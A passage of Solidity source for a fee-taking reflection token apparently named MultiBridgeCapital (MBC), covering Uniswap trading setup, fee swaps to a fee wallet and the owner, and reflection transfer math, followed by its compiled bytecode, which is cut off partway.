contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 balance = c.balance / 5; sendETHToFee(balance*4); sendETHToOwner(balance); emit SwapAndLiquify(contractTokenBalance, balance*4, balance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function sendETHToOwner(uint256 ETHamount) private { payable(owner()).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 5; // 5% Hello you bots IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061389b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190613488565b6103f6565b6040516101629190613880565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906139bd565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613435565b610423565b6040516101ca9190613880565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061339b565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613a69565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061339b565b61061e565b60405161027291906139bd565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b491906137b2565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df919061389b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190613488565b6108c2565b60405161031c9190613880565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906134c8565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906133f5565b6110d2565b6040516103b091906139bd565b60405180910390f35b60606040518060400160405280601281526020017f4d756c74694272696467654361706974616c0000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613c0b565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567906138fd565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611caf565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1b565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906138fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d42430000000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906138fd565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613df6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613d1e565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d82565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906138fd565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b219061397d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906133c8565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906133c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906137cd565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906133c8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f539695949392919061381f565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa5919061353e565b5050506005601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906137f6565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110999190613511565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061395d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611238906138dd565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f91906139bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113939061393d565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d69061391d565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494611fbd565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611bd5576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117499061399d565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613bb1565b6118d09190613b80565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613d67565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613bb1565b611ad29190613b80565b811115611ae357611ae281611fcf565b5b505b5b6012600b9054906101000a900460ff16611bd4576005601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b42576014601260086101000a81548161ffff021916908361ffff1602179055505b6014601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a57601e601260086101000a81548161ffff021916908361ffff1602179055505b601e601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd3576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c7c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c9357506012600b9054906101000a900460ff165b15611c9d57600090505b611ca9848484846120c1565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d17573d6000803e3d6000fd5b5050565b6000600e54821115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d59906138bd565b60405180910390fd5b6000611d6c61230a565b90508083611d7a9190613b80565b915050919050565b6000600267ffffffffffffffff811115611d9f57611d9e613e25565b5b604051908082528060200260200182016040528015611dcd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e0757611e06613df6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e7857611e77613df6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f01600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f879594939291906139d8565b600060405180830381600087803b158015611fa157600080fd5b505af1158015611fb5573d6000803e3d6000fd5b505050505050565b6000601081905550600a601181905550565b60016012600b6101000a81548160ff021916908315150217905550611ff381611d82565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161203b9190613b80565b905061205260048261204d9190613bb1565b611caf565b61205b8161232e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618260048361208a9190613bb1565b8360405161209a93929190613a32565b60405180910390a15060006012600b6101000a81548160ff02191690831515021790555050565b806120cf576120ce61237f565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121725750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561218757612182848484612391565b612304565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561222a5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561223f5761223a8484846125dc565b612303565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122e15750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f6576122f1848484612827565b612302565b612301848484612b00565b5b5b5b50505050565b6000806000612317612cbd565b9150915080826123279190613b80565b9250505090565b61233661085c565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561237b573d6000803e3d6000fd5b5050565b60006010819055506000601181905550565b6000806000806000806123a387612f6f565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fa9190613c0b565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124889190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125169190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256281612fd1565b61256c8483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125c991906139bd565b60405180910390a3505050505050505050565b6000806000806000806125ee87612f6f565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126459190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d39190613b2a565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127619190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ad81612fd1565b6127b78483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161281491906139bd565b60405180910390a3505050505050505050565b60008060008060008061283987612f6f565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128909190613c0b565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291e9190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ac9190613b2a565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a9190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8681612fd1565b612a908483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612aed91906139bd565b60405180910390a3505050505050505050565b600080600080600080612b1287612f6f565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b699190613c0b565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bf79190613b2a565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4381612fd1565b612c4d8483613196565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612caa91906139bd565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b600980549050811015612f2f57826001600060098481548110612cfc57612cfb613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612dea5750816002600060098481548110612d8257612d81613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e0657600e5466038d7ea4c6800094509450505050612f6b565b6001600060098381548110612e1e57612e1d613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612e8f9190613c0b565b92506002600060098381548110612ea957612ea8613df6565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612f1a9190613c0b565b91508080612f2790613d1e565b915050612cd6565b5066038d7ea4c68000600e54612f459190613b80565b821015612f6257600e5466038d7ea4c68000935093505050612f6b565b81819350935050505b9091565b6000806000806000806000806000612f8c8a6010546011546131c2565b9250925092506000806000612faa8d8686612fa561230a565b61322e565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6000612fdb61230a565b905060008183612feb9190613bb1565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461305a9190613b2a565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312c9190613b2a565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546131a49190613c0b565b600e8190555080600f546131b89190613b2a565b600f819055505050565b600080600080606486886131d691906